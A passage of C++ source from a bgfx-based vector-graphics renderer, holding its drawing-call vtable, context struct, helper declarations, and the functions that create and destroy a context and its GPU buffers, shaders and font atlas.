void(*circle)(Context* ctx, float cx, float cy, float radius); void(*ellipse)(Context* ctx, float cx, float cy, float rx, float ry); void(*polyline)(Context* ctx, const float* coords, uint32_t numPoints); void(*closePath)(Context* ctx); void(*fillPathColor)(Context* ctx, Color color, uint32_t flags); void(*fillPathGradient)(Context* ctx, GradientHandle gradient, uint32_t flags); void(*fillPathImagePattern)(Context* ctx, ImagePatternHandle img, Color color, uint32_t flags); void(*strokePathColor)(Context* ctx, Color color, float width, uint32_t flags); void(*strokePathGradient)(Context* ctx, GradientHandle gradient, float width, uint32_t flags); void(*strokePathImagePattern)(Context* ctx, ImagePatternHandle img, Color color, float width, uint32_t flags); void(*beginClip)(Context* ctx, ClipRule::Enum rule); void(*endClip)(Context* ctx); void(*resetClip)(Context* ctx); GradientHandle(*createLinearGradient)(Context* ctx, float sx, float sy, float ex, float ey, Color icol, Color ocol); GradientHandle(*createBoxGradient)(Context* ctx, float x, float y, float w, float h, float r, float f, Color icol, Color ocol); GradientHandle(*createRadialGradient)(Context* ctx, float cx, float cy, float inr, float outr, Color icol, Color ocol); ImagePatternHandle(*createImagePattern)(Context* ctx, float cx, float cy, float w, float h, float angle, ImageHandle image); void(*pushState)(Context* ctx); void(*popState)(Context* ctx); void(*resetScissor)(Context* ctx); void(*setScissor)(Context* ctx, float x, float y, float w, float h); bool(*intersectScissor)(Context* ctx, float x, float y, float w, float h); void(*transformIdentity)(Context* ctx); void(*transformScale)(Context* ctx, float x, float y); void(*transformTranslate)(Context* ctx, float x, float y); void(*transformRotate)(Context* ctx, float ang_rad); void(*transformMult)(Context* ctx, const float* mtx, TransformOrder::Enum order); void(*setViewBox)(Context* ctx, float x, float y, float w, float h); void(*text)(Context* ctx, const TextConfig& cfg, float x, float y, const char* str, const char* end); void(*textBox)(Context* ctx, const TextConfig& cfg, float x, float y, float breakWidth, const char* text, const char* end, uint32_t textboxFlags); void(*indexedTriList)(Context* ctx, const float* pos, const uv_t* uv, uint32_t numVertices, const Color* color, uint32_t numColors, const uint16_t* indices, uint32_t numIndices, ImageHandle img); void(*submitCommandList)(Context* ctx, CommandListHandle handle); }; #endif // VG_CONFIG_COMMAND_LIST_BEGIN_END_API struct Context { #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API const ContextVTable* m_VTable; #endif ContextConfig m_Config; Stats m_Stats; bx::AllocatorI* m_Allocator; uint16_t m_ViewID; uint16_t m_CanvasWidth; uint16_t m_CanvasHeight; float m_DevicePixelRatio; float m_TesselationTolerance; float m_FringeWidth; Stroker* m_Stroker; Path* m_Path; #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API CommandListHandle m_ActiveCommandList; #endif VertexBuffer* m_VertexBuffers; GPUVertexBuffer* m_GPUVertexBuffers; uint32_t m_NumVertexBuffers; uint32_t m_VertexBufferCapacity; uint32_t m_FirstVertexBufferID; IndexBuffer* m_IndexBuffers; GPUIndexBuffer* m_GPUIndexBuffers; uint32_t m_NumIndexBuffers; uint16_t m_ActiveIndexBufferID; float** m_Vec2DataPool; uint32_t m_Vec2DataPoolCapacity; uint32_t** m_Uint32DataPool; uint32_t m_Uint32DataPoolCapacity; #if VG_CONFIG_UV_INT16 int16_t** m_UVDataPool; uint32_t m_UVDataPoolCapacity; #endif #if BX_CONFIG_SUPPORTS_THREADING bx::Mutex* m_DataPoolMutex; #endif Image* m_Images; uint32_t m_ImageCapacity; bx::HandleAlloc* m_ImageHandleAlloc; CommandList* m_CmdLists; bx::HandleAlloc* m_CmdListHandleAlloc; uint32_t m_SubmitCmdListRecursionDepth; #if VG_CONFIG_ENABLE_SHAPE_CACHING CommandListCache* m_CmdListCacheStack[VG_CONFIG_COMMAND_LIST_CACHE_STACK_SIZE]; uint32_t m_CmdListCacheStackTop; #endif float* m_TransformedVertices; uint32_t m_TransformedVertexCapacity; bool m_PathTransformed; DrawCommand* m_DrawCommands; uint32_t m_NumDrawCommands; uint32_t m_DrawCommandCapacity; State* m_StateStack; uint32_t m_StateStackTop; ClipState m_ClipState; DrawCommand* m_ClipCommands; uint32_t m_NumClipCommands; uint32_t m_ClipCommandCapacity; bool m_RecordClipCommands; bool m_ForceNewClipCommand; bool m_ForceNewDrawCommand; Gradient* m_Gradients; uint32_t m_NextGradientID; ImagePattern* m_ImagePatterns; uint32_t m_NextImagePatternID; FONScontext* m_FontStashContext; ImageHandle m_FontImages[VG_CONFIG_MAX_FONT_IMAGES]; uint32_t m_FontImageID; uv_t m_FontImageWhitePixelUV[2]; float* m_TextVertices; FONSquad* m_TextQuads; uint32_t m_TextQuadCapacity; FONSstring m_TextString; FontData* m_FontData; uint32_t m_NextFontID; bgfx::VertexLayout m_PosVertexDecl; bgfx::VertexLayout m_UVVertexDecl; bgfx::VertexLayout m_ColorVertexDecl; bgfx::ProgramHandle m_ProgramHandle[DrawCommand::Type::NumTypes]; bgfx::UniformHandle m_TexUniform; bgfx::UniformHandle m_PaintMatUniform; bgfx::UniformHandle m_ExtentRadiusFeatherUniform; bgfx::UniformHandle m_InnerColorUniform; bgfx::UniformHandle m_OuterColorUniform; }; static State* getState(Context* ctx); static void updateState(State* state); static const uv_t* getWhitePixelUV(Context* ctx); static void updateWhitePixelUV(Context* ctx); static float* allocTransformedVertices(Context* ctx, uint32_t numVertices); static const float* transformPath(Context* ctx); static VertexBuffer* allocVertexBuffer(Context* ctx); static float* allocVertexBufferData_Vec2(Context* ctx); static uint32_t* allocVertexBufferData_Uint32(Context* ctx); static void releaseVertexBufferData_Vec2(Context* ctx, float* data); static void releaseVertexBufferData_Uint32(Context* ctx, uint32_t* data); static void releaseVertexBufferDataCallback_Vec2(void* ptr, void* userData); static void releaseVertexBufferDataCallback_Uint32(void* ptr, void* userData); static uint16_t allocIndexBuffer(Context* ctx); static void releaseIndexBuffer(Context* ctx, uint16_t* data); static void releaseIndexBufferCallback(void* ptr, void* userData); #if VG_CONFIG_UV_INT16 static int16_t* allocVertexBufferData_UV(Context* ctx); static void releaseVertexBufferData_UV(Context* ctx, int16_t* data); static void releaseVertexBufferDataCallback_UV(void* ptr, void* userData); #endif static DrawCommand* allocDrawCommand(Context* ctx, uint32_t numVertices, uint32_t numIndices, DrawCommand::Type::Enum type, uint16_t handle); static DrawCommand* allocClipCommand(Context* ctx, uint32_t numVertices, uint32_t numIndices); static void createDrawCommand_VertexColor(Context* ctx, const float* vtx, uint32_t numVertices, const uint32_t* colors, uint32_t numColors, const uint16_t* indices, uint32_t numIndices); static void createDrawCommand_ImagePattern(Context* ctx, ImagePatternHandle handle, const float* vtx, uint32_t numVertices, const uint32_t* colors, uint32_t numColors, const uint16_t* indices, uint32_t numIndices); static void createDrawCommand_ColorGradient(Context* ctx, GradientHandle handle, const float* vtx, uint32_t numVertices, const uint32_t* colors, uint32_t numColors, const uint16_t* indices, uint32_t numIndices); static void createDrawCommand_Clip(Context* ctx, const float* vtx, uint32_t numVertices, const uint16_t* indices, uint32_t numIndices); static ImageHandle allocImage(Context* ctx); static void resetImage(Image* img); static void renderTextQuads(Context* ctx, uint32_t numQuads, Color color); static bool allocTextAtlas(Context* ctx); static void flushTextAtlas(Context* ctx); static CommandListHandle allocCommandList(Context* ctx); static bool isCommandListHandleValid(Context* ctx, CommandListHandle handle); static uint8_t* clAllocCommand(Context* ctx, CommandList* cl, CommandType::Enum cmdType, uint32_t dataSize); static uint32_t clStoreString(Context* ctx, CommandList* cl, const char* str, uint32_t len); #if VG_CONFIG_ENABLE_SHAPE_CACHING static void clCacheRender(Context* ctx, CommandList* cl); static void clCacheReset(Context* ctx, CommandListCache* cache); static CommandListCache* clGetCache(Context* ctx, CommandList* cl); static CommandListCache* allocCommandListCache(Context* ctx); static void freeCommandListCache(Context* ctx, CommandListCache* cache); static void pushCommandListCache(Context* ctx, CommandListCache* cache); static void popCommandListCache(Context* ctx); static CommandListCache* getCommandListCacheStackTop(Context* ctx); static void beginCachedCommand(Context* ctx); static void endCachedCommand(Context* ctx); static void addCachedCommand(Context* ctx, const float* pos, uint32_t numVertices, const uint32_t* colors, uint32_t numColors, const uint16_t* indices, uint32_t numIndices); static void submitCachedMesh(Context* ctx, Color col, const CachedMesh* meshList, uint32_t numMeshes); static void submitCachedMesh(Context* ctx, GradientHandle gradientHandle, const CachedMesh* meshList, uint32_t numMeshes); static void submitCachedMesh(Context* ctx, ImagePatternHandle imgPatter, Color color, const CachedMesh* meshList, uint32_t numMeshes); #endif static void ctxBeginPath(Context* ctx); static void ctxMoveTo(Context* ctx, float x, float y); static void ctxLineTo(Context* ctx, float x, float y); static void ctxCubicTo(Context* ctx, float c1x, float c1y, float c2x, float c2y, float x, float y); static void ctxQuadraticTo(Context* ctx, float cx, float cy, float x, float y); static void ctxArc(Context* ctx, float cx, float cy, float r, float a0, float a1, Winding::Enum dir); static void ctxArcTo(Context* ctx, float x1, float y1, float x2, float y2, float r); static void ctxRect(Context* ctx, float x, float y, float w, float h); static void ctxRoundedRect(Context* ctx, float x, float y, float w, float h, float r); static void ctxRoundedRectVarying(Context* ctx, float x, float y, float w, float h, float rtl, float rtr, float rbr, float rbl); static void ctxCircle(Context* ctx, float cx, float cy, float radius); static void ctxEllipse(Context* ctx, float cx, float cy, float rx, float ry); static void ctxPolyline(Context* ctx, const float* coords, uint32_t numPoints); static void ctxClosePath(Context* ctx); static void ctxFillPathColor(Context* ctx, Color color, uint32_t flags); static void ctxFillPathGradient(Context* ctx, GradientHandle gradientHandle, uint32_t flags); static void ctxFillPathImagePattern(Context* ctx, ImagePatternHandle imgPatternHandle, Color color, uint32_t flags); static void ctxStrokePathColor(Context* ctx, Color color, float width, uint32_t flags); static void ctxStrokePathGradient(Context* ctx, GradientHandle gradientHandle, float width, uint32_t flags); static void ctxStrokePathImagePattern(Context* ctx, ImagePatternHandle imgPatternHandle, Color color, float width, uint32_t flags); static void ctxBeginClip(Context* ctx, ClipRule::Enum rule); static void ctxEndClip(Context* ctx); static void ctxResetClip(Context* ctx); static GradientHandle ctxCreateLinearGradient(Context* ctx, float sx, float sy, float ex, float ey, Color icol, Color ocol); static GradientHandle ctxCreateBoxGradient(Context* ctx, float x, float y, float w, float h, float r, float f, Color icol, Color ocol); static GradientHandle ctxCreateRadialGradient(Context* ctx, float cx, float cy, float inr, float outr, Color icol, Color ocol); static ImagePatternHandle ctxCreateImagePattern(Context* ctx, float cx, float cy, float w, float h, float angle, ImageHandle image); static void ctxPushState(Context* ctx); static void ctxPopState(Context* ctx); static void ctxResetScissor(Context* ctx); static void ctxSetScissor(Context* ctx, float x, float y, float w, float h); static bool ctxIntersectScissor(Context* ctx, float x, float y, float w, float h); static void ctxTransformIdentity(Context* ctx); static void ctxTransformScale(Context* ctx, float x, float y); static void ctxTransformTranslate(Context* ctx, float x, float y); static void ctxTransformRotate(Context* ctx, float ang_rad); static void ctxTransformMult(Context* ctx, const float* mtx, TransformOrder::Enum order); static void ctxSetViewBox(Context* ctx, float x, float y, float w, float h); static void ctxIndexedTriList(Context* ctx, const float* pos, const uv_t* uv, uint32_t numVertices, const Color* colors, uint32_t numColors, const uint16_t* indices, uint32_t numIndices, ImageHandle img); static void ctxText(Context* ctx, const TextConfig& cfg, float x, float y, const char* str, const char* end); static void ctxTextBox(Context* ctx, const TextConfig& cfg, float x, float y, float breakWidth, const char* str, const char* end, uint32_t textboxFlags); static void ctxSubmitCommandList(Context* ctx, CommandListHandle handle); // Active command list wrappers #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API static void aclBeginPath(Context* ctx); static void aclMoveTo(Context* ctx, float x, float y); static void aclLineTo(Context* ctx, float x, float y); static void aclCubicTo(Context* ctx, float c1x, float c1y, float c2x, float c2y, float x, float y); static void aclQuadraticTo(Context* ctx, float cx, float cy, float x, float y); static void aclArc(Context* ctx, float cx, float cy, float r, float a0, float a1, Winding::Enum dir); static void aclArcTo(Context* ctx, float x1, float y1, float x2, float y2, float r); static void aclRect(Context* ctx, float x, float y, float w, float h); static void aclRoundedRect(Context* ctx, float x, float y, float w, float h, float r); static void aclRoundedRectVarying(Context* ctx, float x, float y, float w, float h, float rtl, float rtr, float rbr, float rbl); static void aclCircle(Context* ctx, float cx, float cy, float radius); static void aclEllipse(Context* ctx, float cx, float cy, float rx, float ry); static void aclPolyline(Context* ctx, const float* coords, uint32_t numPoints); static void aclClosePath(Context* ctx); static void aclFillPathColor(Context* ctx, Color color, uint32_t flags); static void aclFillPathGradient(Context* ctx, GradientHandle gradientHandle, uint32_t flags); static void aclFillPathImagePattern(Context* ctx, ImagePatternHandle imgPatternHandle, Color color, uint32_t flags); static void aclStrokePathColor(Context* ctx, Color color, float width, uint32_t flags); static void aclStrokePathGradient(Context* ctx, GradientHandle gradientHandle, float width, uint32_t flags); static void aclStrokePathImagePattern(Context* ctx, ImagePatternHandle imgPatternHandle, Color color, float width, uint32_t flags); static void aclBeginClip(Context* ctx, ClipRule::Enum rule); static void aclEndClip(Context* ctx); static void aclResetClip(Context* ctx); static GradientHandle aclCreateLinearGradient(Context* ctx, float sx, float sy, float ex, float ey, Color icol, Color ocol); static GradientHandle aclCreateBoxGradient(Context* ctx, float x, float y, float w, float h, float r, float f, Color icol, Color ocol); static GradientHandle aclCreateRadialGradient(Context* ctx, float cx, float cy, float inr, float outr, Color icol, Color ocol); static ImagePatternHandle aclCreateImagePattern(Context* ctx, float cx, float cy, float w, float h, float angle, ImageHandle image); static void aclPushState(Context* ctx); static void aclPopState(Context* ctx); static void aclResetScissor(Context* ctx); static void aclSetScissor(Context* ctx, float x, float y, float w, float h); static bool aclIntersectScissor(Context* ctx, float x, float y, float w, float h); static void aclTransformIdentity(Context* ctx); static void aclTransformScale(Context* ctx, float x, float y); static void aclTransformTranslate(Context* ctx, float x, float y); static void aclTransformRotate(Context* ctx, float ang_rad); static void aclTransformMult(Context* ctx, const float* mtx, TransformOrder::Enum order); static void aclSetViewBox(Context* ctx, float x, float y, float w, float h); static void aclIndexedTriList(Context* ctx, const float* pos, const uv_t* uv, uint32_t numVertices, const Color* colors, uint32_t numColors, const uint16_t* indices, uint32_t numIndices, ImageHandle img); static void aclText(Context* ctx, const TextConfig& cfg, float x, float y, const char* str, const char* end); static void aclTextBox(Context* ctx, const TextConfig& cfg, float x, float y, float breakWidth, const char* str, const char* end, uint32_t textboxFlags); static void aclSubmitCommandList(Context* ctx, CommandListHandle handle); const ContextVTable g_CtxVTable = { ctxBeginPath, ctxMoveTo, ctxLineTo, ctxCubicTo, ctxQuadraticTo, ctxArcTo, ctxArc, ctxRect, ctxRoundedRect, ctxRoundedRectVarying, ctxCircle, ctxEllipse, ctxPolyline, ctxClosePath, ctxFillPathColor, ctxFillPathGradient, ctxFillPathImagePattern, ctxStrokePathColor, ctxStrokePathGradient, ctxStrokePathImagePattern, ctxBeginClip, ctxEndClip, ctxResetClip, ctxCreateLinearGradient, ctxCreateBoxGradient, ctxCreateRadialGradient, ctxCreateImagePattern, ctxPushState, ctxPopState, ctxResetScissor, ctxSetScissor, ctxIntersectScissor, ctxTransformIdentity, ctxTransformScale, ctxTransformTranslate, ctxTransformRotate, ctxTransformMult, ctxSetViewBox, ctxText, ctxTextBox, ctxIndexedTriList, ctxSubmitCommandList }; const ContextVTable g_ActiveCmdListVTable = { aclBeginPath, aclMoveTo, aclLineTo, aclCubicTo, aclQuadraticTo, aclArcTo, aclArc, aclRect, aclRoundedRect, aclRoundedRectVarying, aclCircle, aclEllipse, aclPolyline, aclClosePath, aclFillPathColor, aclFillPathGradient, aclFillPathImagePattern, aclStrokePathColor, aclStrokePathGradient, aclStrokePathImagePattern, aclBeginClip, aclEndClip, aclResetClip, aclCreateLinearGradient, aclCreateBoxGradient, aclCreateRadialGradient, aclCreateImagePattern, aclPushState, aclPopState, aclResetScissor, aclSetScissor, aclIntersectScissor, aclTransformIdentity, aclTransformScale, aclTransformTranslate, aclTransformRotate, aclTransformMult, aclSetViewBox, aclText, aclTextBox, aclIndexedTriList, aclSubmitCommandList }; #endif #define CMD_WRITE(ptr, type, value) *(type*)(ptr) = (value); ptr += sizeof(type) #define CMD_READ(ptr, type) *(type*)(ptr); ptr += sizeof(type) inline uint32_t alignSize(uint32_t sz, uint32_t alignment) { VG_CHECK(bx::isPowerOf2<uint32_t>(alignment), "Invalid alignment value"); const uint32_t mask = alignment - 1; return (sz & (~mask)) + ((sz & mask) != 0 ? alignment : 0); } inline bool isAligned(uint32_t sz, uint32_t alignment) { VG_CHECK(bx::isPowerOf2<uint32_t>(alignment), "Invalid alignment value"); return (sz & (alignment - 1)) == 0; } static const uint32_t kAlignedCommandHeaderSize = alignSize(sizeof(CommandHeader), VG_CONFIG_COMMAND_LIST_ALIGNMENT); inline bool isLocal(uint16_t handleFlags) { return (handleFlags & HandleFlags::LocalHandle) != 0; } inline bool isLocal(GradientHandle handle) { return isLocal(handle.flags); } inline bool isLocal(ImagePatternHandle handle) { return isLocal(handle.flags); } ////////////////////////////////////////////////////////////////////////// // Public interface // Context* createContext(bx::AllocatorI* allocator, const ContextConfig* userCfg) { static const ContextConfig defaultConfig = { 64, // m_MaxGradients 64, // m_MaxImagePatterns 8, // m_MaxFonts 32, // m_MaxStateStackSize 16, // m_MaxImages 256, // m_MaxCommandLists 65536, // m_MaxVBVertices ImageFlags::Filter_Bilinear, // m_FontAtlasImageFlags 16 // m_MaxCommandListDepth }; const ContextConfig* cfg = userCfg ? userCfg : &defaultConfig; VG_CHECK(cfg->m_MaxVBVertices <= 65536, "Vertex buffers cannot be larger than 64k vertices because indices are always uint16"); const uint32_t alignment = 8; const uint32_t totalMem = 0 + alignSize(sizeof(Context), alignment) + alignSize(sizeof(Gradient) * cfg->m_MaxGradients, alignment) + alignSize(sizeof(ImagePattern) * cfg->m_MaxImagePatterns, alignment) + alignSize(sizeof(State) * cfg->m_MaxStateStackSize, alignment) + alignSize(sizeof(FontData) * cfg->m_MaxFonts, alignment) + alignSize(sizeof(CommandList) * cfg->m_MaxCommandLists, alignment); uint8_t* mem = (uint8_t*)BX_ALIGNED_ALLOC(allocator, totalMem, alignment); bx::memSet(mem, 0, totalMem); Context* ctx = (Context*)mem; mem += alignSize(sizeof(Context), alignment); ctx->m_Gradients = (Gradient*)mem; mem += alignSize(sizeof(Gradient) * cfg->m_MaxGradients, alignment); ctx->m_ImagePatterns = (ImagePattern*)mem; mem += alignSize(sizeof(ImagePattern) * cfg->m_MaxImagePatterns, alignment); ctx->m_StateStack = (State*)mem; mem += alignSize(sizeof(State) * cfg->m_MaxStateStackSize, alignment); ctx->m_FontData = (FontData*)mem; mem += alignSize(sizeof(FontData) * cfg->m_MaxFonts, alignment); ctx->m_CmdLists = (CommandList*)mem; mem += alignSize(sizeof(CommandList) * cfg->m_MaxCommandLists, alignment); #if VG_CONFIG_COMMAND_LIST_BEGIN_END_API ctx->m_VTable = &g_CtxVTable; ctx->m_ActiveCommandList = VG_INVALID_HANDLE; #endif bx::memCopy(&ctx->m_Config, cfg, sizeof(ContextConfig)); ctx->m_Allocator = allocator; ctx->m_ViewID = 0; ctx->m_DevicePixelRatio = 1.0f; ctx->m_TesselationTolerance = 0.25f; ctx->m_FringeWidth = 1.0f; ctx->m_StateStackTop = 0; ctx->m_StateStack[0].m_GlobalAlpha = 1.0f; resetScissor(ctx); transformIdentity(ctx); #if VG_CONFIG_ENABLE_SHAPE_CACHING ctx->m_CmdListCacheStackTop = ~0u; #endif #if BX_CONFIG_SUPPORTS_THREADING ctx->m_DataPoolMutex = BX_NEW(allocator, bx::Mutex)(); #endif ctx->m_Path = createPath(allocator); ctx->m_Stroker = createStroker(allocator); ctx->m_ImageHandleAlloc = bx::createHandleAlloc(allocator, cfg->m_MaxImages); ctx->m_CmdListHandleAlloc = bx::createHandleAlloc(allocator, cfg->m_MaxCommandLists); // bgfx setup ctx->m_PosVertexDecl.begin().add(bgfx::Attrib::Position, 2, bgfx::AttribType::Float).end(); ctx->m_ColorVertexDecl.begin().add(bgfx::Attrib::Color0, 4, bgfx::AttribType::Uint8, true).end(); #if VG_CONFIG_UV_INT16 ctx->m_UVVertexDecl.begin().add(bgfx::Attrib::TexCoord0, 2, bgfx::AttribType::Int16, true).end(); #else ctx->m_UVVertexDecl.begin().add(bgfx::Attrib::TexCoord0, 2, bgfx::AttribType::Float).end(); #endif // NOTE: A couple of shaders can be shared between programs. Since bgfx // cares only whether the program handle changed and not (at least the D3D11 backend // doesn't check shader handles), there's little point in complicating this atm. bgfx::RendererType::Enum bgfxRendererType = bgfx::getRendererType(); ctx->m_ProgramHandle[DrawCommand::Type::Textured] = bgfx::createProgram( bgfx::createEmbeddedShader(s_EmbeddedShaders, bgfxRendererType, "vs_textured"), bgfx::createEmbeddedShader(s_EmbeddedShaders, bgfxRendererType, "fs_textured"), true); ctx->m_ProgramHandle[DrawCommand::Type::ColorGradient] = bgfx::createProgram( bgfx::createEmbeddedShader(s_EmbeddedShaders, bgfxRendererType, "vs_color_gradient"), bgfx::createEmbeddedShader(s_EmbeddedShaders, bgfxRendererType, "fs_color_gradient"), true); ctx->m_ProgramHandle[DrawCommand::Type::ImagePattern] = bgfx::createProgram( bgfx::createEmbeddedShader(s_EmbeddedShaders, bgfxRendererType, "vs_image_pattern"), bgfx::createEmbeddedShader(s_EmbeddedShaders, bgfxRendererType, "fs_image_pattern"), true); ctx->m_ProgramHandle[DrawCommand::Type::Clip] = bgfx::createProgram( bgfx::createEmbeddedShader(s_EmbeddedShaders, bgfxRendererType, "vs_stencil"), bgfx::createEmbeddedShader(s_EmbeddedShaders, bgfxRendererType, "fs_stencil"), true); ctx->m_TexUniform = bgfx::createUniform("s_tex", bgfx::UniformType::Sampler, 1); ctx->m_PaintMatUniform = bgfx::createUniform("u_paintMat", bgfx::UniformType::Mat3, 1); ctx->m_ExtentRadiusFeatherUniform = bgfx::createUniform("u_extentRadiusFeather", bgfx::UniformType::Vec4, 1); ctx->m_InnerColorUniform = bgfx::createUniform("u_innerCol", bgfx::UniformType::Vec4, 1); ctx->m_OuterColorUniform = bgfx::createUniform("u_outerCol", bgfx::UniformType::Vec4, 1); // FontStash // Init font stash const bgfx::Caps* caps = bgfx::getCaps(); FONSparams fontParams; bx::memSet(&fontParams, 0, sizeof(fontParams)); fontParams.width = VG_CONFIG_MIN_FONT_ATLAS_SIZE; fontParams.height = VG_CONFIG_MIN_FONT_ATLAS_SIZE; fontParams.flags = FONS_ZERO_TOPLEFT; #if FONS_CUSTOM_WHITE_RECT // NOTE: White rect might get too large but since the atlas limit is the texture size limit // it should be that large. Otherwise shapes cached when the atlas was 512x512 will get wrong // white pixel UVs when the atlas gets to the texture size limit (should not happen but better // be safe). fontParams.whiteRectWidth = caps->limits.maxTextureSize / VG_CONFIG_MIN_FONT_ATLAS_SIZE; fontParams.whiteRectHeight = caps->limits.maxTextureSize / VG_CONFIG_MIN_FONT_ATLAS_SIZE; #endif fontParams.renderCreate = nullptr; fontParams.renderUpdate = nullptr; fontParams.renderDraw = nullptr; fontParams.renderDelete = nullptr; fontParams.userPtr = nullptr; ctx->m_FontStashContext = fonsCreateInternal(&fontParams); VG_CHECK(ctx->m_FontStashContext != nullptr, "Failed to initialize FontStash"); for (uint32_t i = 0; i < VG_CONFIG_MAX_FONT_IMAGES; ++i) { ctx->m_FontImages[i] = VG_INVALID_HANDLE; } ctx->m_FontImages[0] = createImage(ctx, (uint16_t)fontParams.width, (uint16_t)fontParams.height, cfg->m_FontAtlasImageFlags, nullptr); VG_CHECK(isValid(ctx->m_FontImages[0]), "Failed to initialize font texture"); ctx->m_FontImageID = 0; updateWhitePixelUV(ctx); fonsInitString(&ctx->m_TextString); return ctx; } bgfx::TextureHandle getFontAtlasTexture(Context* ctx) { if (!ctx) { return { bgfx::kInvalidHandle }; } if (ctx->m_FontImageID >= VG_CONFIG_MAX_FONT_IMAGES) { return { bgfx::kInvalidHandle }; } auto handle = ctx->m_FontImages[ctx->m_FontImageID]; if (handle.idx == UINT16_MAX) { return { bgfx::kInvalidHandle }; } if (!isValid(handle)) { return { bgfx::kInvalidHandle }; } Image* img = &ctx->m_Images[handle.idx]; return img->m_bgfxHandle; } void flushFontAtlasTexture(Context* ctx) { flushTextAtlas(ctx); } void destroyContext(Context* ctx) { bx::AllocatorI* allocator = ctx->m_Allocator; const ContextConfig* cfg = &ctx->m_Config; fonsDestroyString(&ctx->m_TextString); for (uint32_t i = 0; i < DrawCommand::Type::NumTypes; ++i) { if (bgfx::isValid(ctx->m_ProgramHandle[i])) { bgfx::destroy(ctx->m_ProgramHandle[i]); ctx->m_ProgramHandle[i] = BGFX_INVALID_HANDLE; } } bgfx::destroy(ctx->m_TexUniform); bgfx::destroy(ctx->m_PaintMatUniform); bgfx::destroy(ctx->m_ExtentRadiusFeatherUniform); bgfx::destroy(ctx->m_InnerColorUniform); bgfx::destroy(ctx->m_OuterColorUniform); for (uint32_t i = 0; i < ctx->m_VertexBufferCapacity; ++i) { GPUVertexBuffer* vb = &ctx->m_GPUVertexBuffers[i]; if (bgfx::isValid(vb->m_PosBufferHandle)) { bgfx::destroy(vb->m_PosBufferHandle); vb->m_PosBufferHandle = BGFX_INVALID_HANDLE; } if (bgfx::isValid(vb->m_UVBufferHandle)) { bgfx::destroy(vb->m_UVBufferHandle); vb->m_UVBufferHandle = BGFX_INVALID_HANDLE; } if (bgfx::isValid(vb->m_ColorBufferHandle)) { bgfx::destroy(vb->m_ColorBufferHandle); vb->m_ColorBufferHandle = BGFX_INVALID_HANDLE; } } BX_FREE(allocator, ctx->m_GPUVertexBuffers); BX_FREE(allocator, ctx->m_VertexBuffers); ctx->m_GPUVertexBuffers = nullptr; ctx->m_VertexBuffers = nullptr; ctx->m_VertexBufferCapacity = 0; ctx->m_NumVertexBuffers = 0; for (uint32_t i = 0; i < ctx->m_NumIndexBuffers; ++i) { GPUIndexBuffer* gpuib = &ctx->m_GPUIndexBuffers[i]; if (bgfx::isValid(gpuib->m_bgfxHandle)) { bgfx::destroy(gpuib->m_bgfxHandle); gpuib->m_bgfxHandle = BGFX_INVALID_HANDLE; } IndexBuffer* ib = &ctx->m_IndexBuffers[i]; BX_ALIGNED_FREE(allocator, ib->m_Indices, 16); ib->m_Indices = nullptr; ib->m_Capacity = 0; ib->m_Count = 0; } BX_FREE(allocator, ctx->m_GPUIndexBuffers); BX_FREE(allocator, ctx->m_IndexBuffers); ctx->m_GPUIndexBuffers = nullptr; ctx->m_IndexBuffers = nullptr; ctx->m_ActiveIndexBufferID = UINT16_MAX; for (uint32_t i = 0; i < ctx->m_Vec2DataPoolCapacity; ++i) { float* buffer = ctx->m_Vec2DataPool[i]; if (!buffer) { continue; } if ((uintptr_t)buffer & 1) { buffer = (float*)((uintptr_t)buffer & ~1); BX_ALIGNED_FREE(allocator, buffer, 16); } } BX_FREE(allocator, ctx->m_Vec2DataPool); ctx->m_Vec2DataPoolCapacity = 0; for (uint32_t i = 0; i < ctx->m_Uint32DataPoolCapacity; ++i) { uint32_t* buffer = ctx->m_Uint32DataPool[i]; if (!buffer) { continue; } if ((uintptr_t)buffer & 1) { buffer = (uint32_t*)((uintptr_t)buffer & ~1); BX_ALIGNED_FREE(allocator, buffer, 16); } } BX_FREE(allocator, ctx->m_Uint32DataPool); ctx->m_Uint32DataPoolCapacity = 0; #if VG_CONFIG_UV_INT16 for (uint32_t i = 0; i < ctx->m_UVDataPoolCapacity; ++i) { int16_t* buffer = ctx->m_UVDataPool[i]; if (!buffer) { continue; } if ((uintptr_t)buffer & 1) { buffer = (int16_t*)((uintptr_t)buffer & ~1); BX_ALIGNED_FREE(allocator, buffer, 16); } } BX_FREE(allocator, ctx->m_UVDataPool); ctx->m_UVDataPoolCapacity = 0; #endif BX_FREE(allocator, ctx->m_DrawCommands); ctx->m_DrawCommands = nullptr; BX_FREE(allocator, ctx->m_ClipCommands); ctx->m_ClipCommands = nullptr; // Font data for (int i = 0; i < cfg->m_MaxFonts; ++i) { FontData* fd = &ctx->m_FontData[i]; if (fd->m_Data && fd->m_Owned) { BX_FREE(allocator, fd->m_Data); fd->m_Data = nullptr; fd->m_Owned = false; } } fonsDeleteInternal(ctx->m_FontStashContext); for (uint32_t i = 0; i < VG_CONFIG_MAX_FONT_IMAGES; ++i) { destroyImage(ctx, ctx->m_FontImages[i]); } for (uint32_t i = 0; i < ctx->m_ImageCapacity; ++i) { Image* img = &ctx->m_Images[i]; if (bgfx::isValid(img->m_bgfxHandle)) { bgfx::destroy(img->m_bgfxHandle); } } BX_FREE(allocator, ctx->m_Images); ctx->m_Images = nullptr; bx::destroyHandleAlloc(allocator, ctx->m_ImageHandleAlloc); ctx->m_ImageHandleAlloc = nullptr; bx::destroyHandleAlloc(allocator, ctx->m_CmdListHandleAlloc); ctx->m_CmdListHandleAlloc = nullptr; destroyPath(ctx->m_Path); ctx->m_Path = nullptr; destroyStroker(ctx->m_Stroker); ctx->m_Stroker = nullptr; BX_ALIGNED_FREE(allocator, ctx->m_TextQuads, 16); ctx->m_TextQuads = nullptr; BX_ALIGNED_FREE(allocator, ctx->m_TextVertices, 16); ctx->m_TextVertices = nullptr; BX_ALIGNED_FREE(allocator, ctx->m_TransformedVertices, 16); ctx->m_TransformedVertices = nullptr; #if BX_CONFIG_SUPPORTS_THREADING BX_DELETE(allocator, ctx->m_DataPoolMutex); #endif BX_FREE(allocator, ctx); } void begin(Context* ctx, uint16_t viewID, uint16_t canvasWidth, uint16_t canvasHeight, float devicePixelRatio) { ctx->m_ViewID = viewID; ctx->m_CanvasWidth = canvasWidth; ctx->m_CanvasHeight = canvasHeight; ctx->m_DevicePixelRatio = devicePixelRatio; ctx->m_TesselationTolerance = 0.25f / devicePixelRatio; ctx->m_FringeWidth = 1.0f / devicePixelRatio; ctx->m_SubmitCmdListRecursionDepth = 0; #if 